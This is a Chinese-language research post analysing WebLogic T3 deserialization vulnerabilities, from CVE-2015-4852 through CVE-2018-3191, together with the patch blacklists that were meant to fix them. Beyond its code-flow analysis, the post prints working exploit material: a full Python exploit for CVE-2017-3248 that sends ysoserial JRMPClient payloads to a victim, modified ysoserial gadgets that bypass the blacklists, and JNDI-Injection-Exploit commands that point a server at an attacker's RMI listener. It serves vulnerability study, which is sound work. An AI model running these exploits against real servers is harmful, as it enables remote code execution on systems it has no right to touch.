Weblogic反序列化

介绍

WebLogic_是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。 主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。在weblogic中反序列化漏洞主要分为两种,一种是基于T3协议的反序列化漏洞,还一种是基于XML的反序列化漏洞。

基于T3协议漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
基于XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729

环境搭建

漏洞环境地址
jdk地址
weblogic下载地址
利用docker进行build,然后在run起来

1
2
3
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -it -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 /bin/bash

我这里搭建环境出来点问题,需要自己改改dockerfile文件,就是换一下镜像为roboxes/centos8,然后手动进去跑一下脚本就可以了。

然后用idea创建一个空项目将wlserver/server/lib导入进来同时把其他的jar也都加入到项目中的lib中方便调试

然后创建远程调试

之后下个在反序列化的位置下一个断点,然后用漏洞扫描工具扫描一下,发现可以断下来成功

T3协议分析

RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。以下是T3协议的特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

使用python写一个跟weblogic通信的脚本,然后抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket  

def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())

if __name__ == "__main__":
ip = "localhost"
port = 7001

T3Test(ip,port)

利用tcpdump抓个包

1
sudo tcpdump -i lo0 tcp port 7001 and host 127.0.0.1 -w output_7001.pcap

可以发现webloigc返回给我们的报文,里面包括了一些版本信息,这里有2张图

第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式

  1. 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  2. 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

反序列化流程

这是一张网上的图写的很好

来看一下readClassDesc函数的逻辑,Java序列化的时候,java序列化数据在流量传输,并不是随随便便杂乱无章的,序列化数据的格式是要遵循序列化流协议。

序列化流协议定义了字节流中传输的对象的基本结构。(包括类,字段,写入的数据等)
字节流中对象的表示可以用一定的语法格式来描述。

比如说在字节流中传递的序列化数据中,字符串有字符串类型的特定格式、对象有对象类型的特定格式、类结构有着类结构。而TC_STRING、TC_OBJECT、TC_CLASSDESC则是他们的描述符,他们标识了接下来这段字节流中的数据是什么类型格式的。

这样我们就很容易明白上图中的switch语句中各个case后面字段的意思了,通过字节流中的描述符来确定传递的数据类型,并交给对应方法去处理。

1
2
3
4
TC_NULL描述符表示空对象引用
TC_REFERENCE描述符表示引用已写入流的对象
TC_PROXYCLASSDESC是新的代理类描述符
TC_CLASSDESC是新的类描述符

有关反序列化我们只需要关注TC_PROXYCLASSDESCTC_CLASSDESC这两种就可以了,也就是分别对应readNonProxyDescreadProxyDesc

首先来看看readNonProxyDesc方法

1
2
3
4
readClassDescriptor()从流量中获取序列化类的ObjectStreamClass并赋值给readDesc变量  
把readDesc变量当参数传入resolveClass函数,结果赋值cl变量(获取反序列化数据类名)
把ObjectStreamClass流(readDesc)和Class类对象传入initNonProxy方法,初始化并赋给desc.
将ObjectStreamClass类型的desc变量返回给readNonProxyDesc函数

然后我们在回头看看readOrdinaryObject方法

在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。

CVE-2015-4852

我这里直接使用工具进行漏洞利用,然后抓包分析

可以看到数据包中后面的部分已经被替换为恶意的序列化数据了。

可以看到调用了内部类ServerChannelInputStream的readObject方法,该类继承ObjectInputstream

在这里其实就可以看到ServerChannelInputStream是一个内部类,该类继承ObjectInputStream类,而在这里对resolveClass进行了重写,不过这里还是调用的父类的resolveClass并且没有任何验证,所以造成了漏洞。跟过java原生readobject流程的师傅都明白最终会走到resolveClass 来加载类。

首先会调用父类的readObject0

然后会进入readOrdinaryObject方法中

继续走走到readClassDesc方法中

继续走到 readNonProxyDesc方法中

最终调用resolveClass 方法完成加载,因为没有给重写的resolveclass方法加上黑名单,所以我们可以使用恶意payload进行攻击,并且webloigc是自带低版本的CC依赖包的:
官方修复就是在resolveclass加入了黑名单检查

CVE-2016-0638

分析补丁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
// 该类名在ClassFilter.isBlackListed()方法中被列入黑名单,则抛出InvalidClassException异常,表示反序列化未被授权
if (className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
// 如果className不在黑名单中,则调用父类的resolveClass方法来解析该类
Class c = super.resolveClass(descriptor);
if (c == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
} else {
return c;
}
}
}
}

isBlackListed这个方法主要是用来检查加载的类是否在黑名单中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static boolean isBlackListed(String className) {
// 检查className的长度是否大于0,并且是否在BLACK_LIST(一个常量Set集合)中
if (className.length() > 0 && BLACK_LIST.contains(className)) {
return true;
} else {
String pkgName;
try {
// 找到最后一个“.”(点号)的位置,获取类名的包名部分
pkgName = className.substring(0, className.lastIndexOf(46));
} catch (Exception var3) {
return false;
}
// 如果获取包名成功,并且包名的长度大于0,那么再次检查pkgName是否在BLACK_LIST中
return pkgName.length() > 0 && BLACK_LIST.contains(pkgName);
}
}

黑名单

偷师哥的一张图,自己懒没有去配补丁环境,现在我们需要做的事情就是找到别的类中是否有可以利用的readObject进行二次反序列化,这样就可以绕过了,并且注意我 们前提知识里的话,会依次调用readObject、readResolve、readExternal。

这个漏洞大佬们发掘的是weblogic.jms.common.StreamMessageImpl,这个类不再黑名单中并且实现了Externalizable接口

所以显然后面利用的就是readExternal方法

这个里面调用了readobject方法,因此最终造成了二次反序列化。这里需要看一下这个va4是哪里来的

createPayload函数中首先从InputStream流中获取一个int类型的数据,之后将输入流和int类型数据传递给copyPayloadFromStream函数。该部分代码如下

copyPayloadFromStream从反序列化获取的长度和ChunkSize的2倍进行比较选出最小的那个,并和输入流一起传入到Chunk.createOneSharedChunk函数中进行如下操作,最后返回了一个包含指定长度输入流的chunk块

所以只需在序列化的时候填充相应的数据就可以实现指定数据的二次反序列化。

网上用的都是 https://github.cm/5up3rc/weblogic_cmd 这个工具进行利用的,同样我们也试试,分析下payload的生成过程。

先下一个断点

跟一下

继续跟踪WebLogicOperation.blindExecute方法

这里生成命令之后,serialBlindDatas方法应该就是生成序列化数据的了

继续走blindExecutePayloadTransformerChain

很明显的cc链,继续跟

后面调用了BypassPayloadSelector.selectBypass方法来处理在原生的利用链中本该直接进行序列化的对象。

这里就是最后生成的payload使用的是streamMessageImpl进行包裹

然后就可以发送了,贴一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
public static void send(String host, String port, byte[] payload) throws Exception {  
Socket s = SocketFactory.newSocket(host, Integer.parseInt(port));
//AS ABBREV_TABLE_SIZE HL remoteHeaderLength 用来做skip的
String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n";

if (Main.cmdLine.hasOption("https")) {
header = "t3s 7.0.0.0\nAS:10\nHL:19\n\n";
}

s.getOutputStream().write(header.getBytes());
s.getOutputStream().flush();
BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream()));
String versionInfo = br.readLine();
if (Main.version == null) {
versionInfo = versionInfo.replace("HELO:", "");
versionInfo = versionInfo.replace(".false", "");
System.out.println("weblogic version:" + versionInfo);
Main.version = versionInfo;
}
// String asInfo = br.readLine();
// String hlInfo = br.readLine();
// System.out.println(versionInfo+"\n"+asInfo+"\n"+hlInfo);

//cmd=1,QOS=1,flags=1,responseId=4,invokableId=4,abbrevOffset=4,countLength=1,capacityLength=1
//t3 protocol String cmd = "08";
String qos = "65";
String flags = "01";
String responseId = "ffffffff";
String invokableId = "ffffffff";
String abbrevOffset = "00000000";
String countLength = "01";
String capacityLength = "10";//必须大于上面设置的AS值
String readObjectType = "00";//00 object deserial 01 ascii

StringBuilder datas = new StringBuilder();
datas.append(cmd);
datas.append(qos);
datas.append(flags);
datas.append(responseId);
datas.append(invokableId);
datas.append(abbrevOffset);

//because of 2 times deserial
countLength = "04";
datas.append(countLength);

//define execute operation
String pahse1Str = BytesOperation.bytesToHexString(payload);
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(pahse1Str);

//for compatiable fo hide
//for compatiable fo hide AuthenticatedUser authenticatedUser = new AuthenticatedUser("weblogic", "admin123");
String phase4 = BytesOperation.bytesToHexString(Serializables.serialize(authenticatedUser));
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(phase4);

JVMID src = new JVMID();

Constructor constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class);
constructor.setAccessible(true);
src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false);
Field serverName = src.getClass().getDeclaredField("differentiator");
serverName.setAccessible(true);
serverName.set(src,1);

datas.append(capacityLength);
datas.append(readObjectType);
datas.append(BytesOperation.bytesToHexString(Serializables.serialize(src)));

JVMID dst = new JVMID();

constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class);
constructor.setAccessible(true);
src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false);
serverName = src.getClass().getDeclaredField("differentiator");
serverName.setAccessible(true);
serverName.set(dst,1);
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(BytesOperation.bytesToHexString(Serializables.serialize(dst)));

byte[] headers = BytesOperation.hexStringToBytes(datas.toString());
int len = headers.length + 4;
String hexLen = Integer.toHexString(len);
StringBuilder dataLen = new StringBuilder();

if (hexLen.length() < 8) {
for (int i = 0; i < (8 - hexLen.length()); i++) {
dataLen.append("0");
}
}

dataLen.append(hexLen);
s.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + datas.toString()));
s.getOutputStream().flush();
s.close();

}

CVE-2016-3510

此漏洞的利用方式和0638一样,不过用的StreamMessageImpl类,而是借助MarshalledObject类。继续使用weblogic_cmd工具进行测试,不过这里要改下参数,前面的TYPE需要修改为marshall,因为这次是需要使用到MarshalledObject来进行封装对象。

然后打断点调试一下,这里在之前也介绍过Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。

而这里就是入口

然后依次调用到readResolve方法

可以看到这里存在二次反序列化。那在看看这个var2是咋来的其实在返回去看工具生成payload的流程就知道了

跟进去

继续跟进去

结果显而易见和streamMessageImpl一样就是直接把payload塞进去了。

CVE-2017-3248

先来把exp贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
data = sock.recv(1024)
print(data)
print('handshake successful')


def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')


if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()

dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

这里其实是要用jrmp去打,去看一下payloads JRMPClient这条链就明白了,这里我们能控制反序列化的数据,所以利用JRMPClient反序列化之后会去连接我们恶意的rmi服务端,返回恶意的序列化数据从而造成漏洞。

CVE-2018-2628

1
2
3
4
5
6
7
8
9
10
11
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}

修复点还是添加黑名单
在InboundMsgAbbrev.ServerChannelInputStream中,对java.rmi.registry.Registry进行过滤

在readObject底层操作中,存在两条路,一条是resolveClass,另一条是resolveProxyClass。当反序列化的是动态代理对象,就会走到resolveProxyClass方法中,如果取消Proxy的包装,就能够绕过resolveProxyClass方法

第一种绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
// 删除下面
// RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
// Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
// Registry.class
// }, obj);
// return proxy;
// 直接返回UnicastRef对象
return ref;
}

直接取消动态代理,直接返回UnicastRef,因为他有自己的readExternal方法

第二种绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}

使用java.rmi.activation.Activator远程接口进行封装也可以。

CVE-2018-2893

1
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

sun.rmi.server.UnicastRef进行了过滤,所以这里的绕过方式就是CVE-2016-0638与CVE-2017-3248的结合,就是把CVE-2017-3248的链子在封装一层StreamMessageImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);

return streamMessageImpl(Serializer.serialize(object));
// or
// StreamMessageImpl streamMessage = new StreamMessageImpl();
// byte[] serialize = Serializer.serialize(object);
// streamMessage.setDataBuffer(serialize,serialize.length);
// return streamMessage;
}

这里注意在改的时候,由于JDK中不存在StreamMessageImpl类,所以需要导入weblogic中的类

CVE-2018-3245

1
2
3
4
5
6
7
8
9
10
11
private static final String[] DEFAULT_BLACKLIST_PACKAGES = 
{ "org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation",
"sun.rmi.server" };

private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };

java.rmi.activation.*sun.rmi.server.*java.rmi.server.RemoteObjectInvocationHandlerjava.rmi.server.UnicastRemoteObject进行了过滤。所以大佬们的绕过方式是找到了一个继承RemoteObject的类,因为在反序列化时会调用这个类的readObject方法

这里是可以利用的类

1
2
3
4
5
6
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
sun.management.jmxremote.SingleEntryRegistry

用的是RMIConnectionImpl_Stub这个类,去改一下payloads.JRMPClient这个链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);
return stub;
}

可以使用这个工具 https://github.com/pyn3rd/CVE-2018-3245

CVE-2018-3191

它将java.rmi.server.RemoteObject加入到黑名单进行了修复

这个漏洞是T3+JNDI

工具 https://github.com/m00zh33/CVE-2018-3191
https://github.com/welk1n/JNDI-Injection-Exploit

1
2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/cve-2018-3191" -A "192.168.155.90"
python cve-2018-3191.py 127.0.0.1 7001 weblogic-spring-jndi-10.3.6.0.jar rmi://192.168.155.90:1099/ushw72

这个利用的是JtaTransactionManager这个类,看下这个类的readobject方法

1
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {   ois.defaultReadObject();   this.jndiTemplate = new JndiTemplate();   this.initUserTransactionAndTransactionManager();   this.initTransactionSynchronizationRegistry(); }

继续看initUserTransactionAndTransactionManager方法

1
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {   if (this.userTransaction == null) {      if (StringUtils.hasLength(this.userTransactionName)) {         this.userTransaction = this.lookupUserTransaction(this.userTransactionName);         this.userTransactionObtainedFromJndi = true;      } else {         this.userTransaction = this.retrieveUserTransaction();      }   }

发现存在基于JNDI寻址方法lookupUserTransaction 关键寻址部分代码如下:

1
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {   try {      if (this.logger.isDebugEnabled()) {         this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");      }      return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);   } catch (NamingException var3) {      throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);   } }

所以其实稍微修改下ysoserial就可以了

1
2
3
4
5
6
7
8
public Object getObject(String command) throws Exception {  
// if(command == null) {
// command = "rmi://localhost:1099/Exploit";
// }
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;
}

基于XML

直接参考文章了
https://dililearngent.github.io/2023/05/02/Weblogic-Security/#%E5%9F%BA%E4%BA%8EXML
https://y4er.com/posts/java-xmldecoder/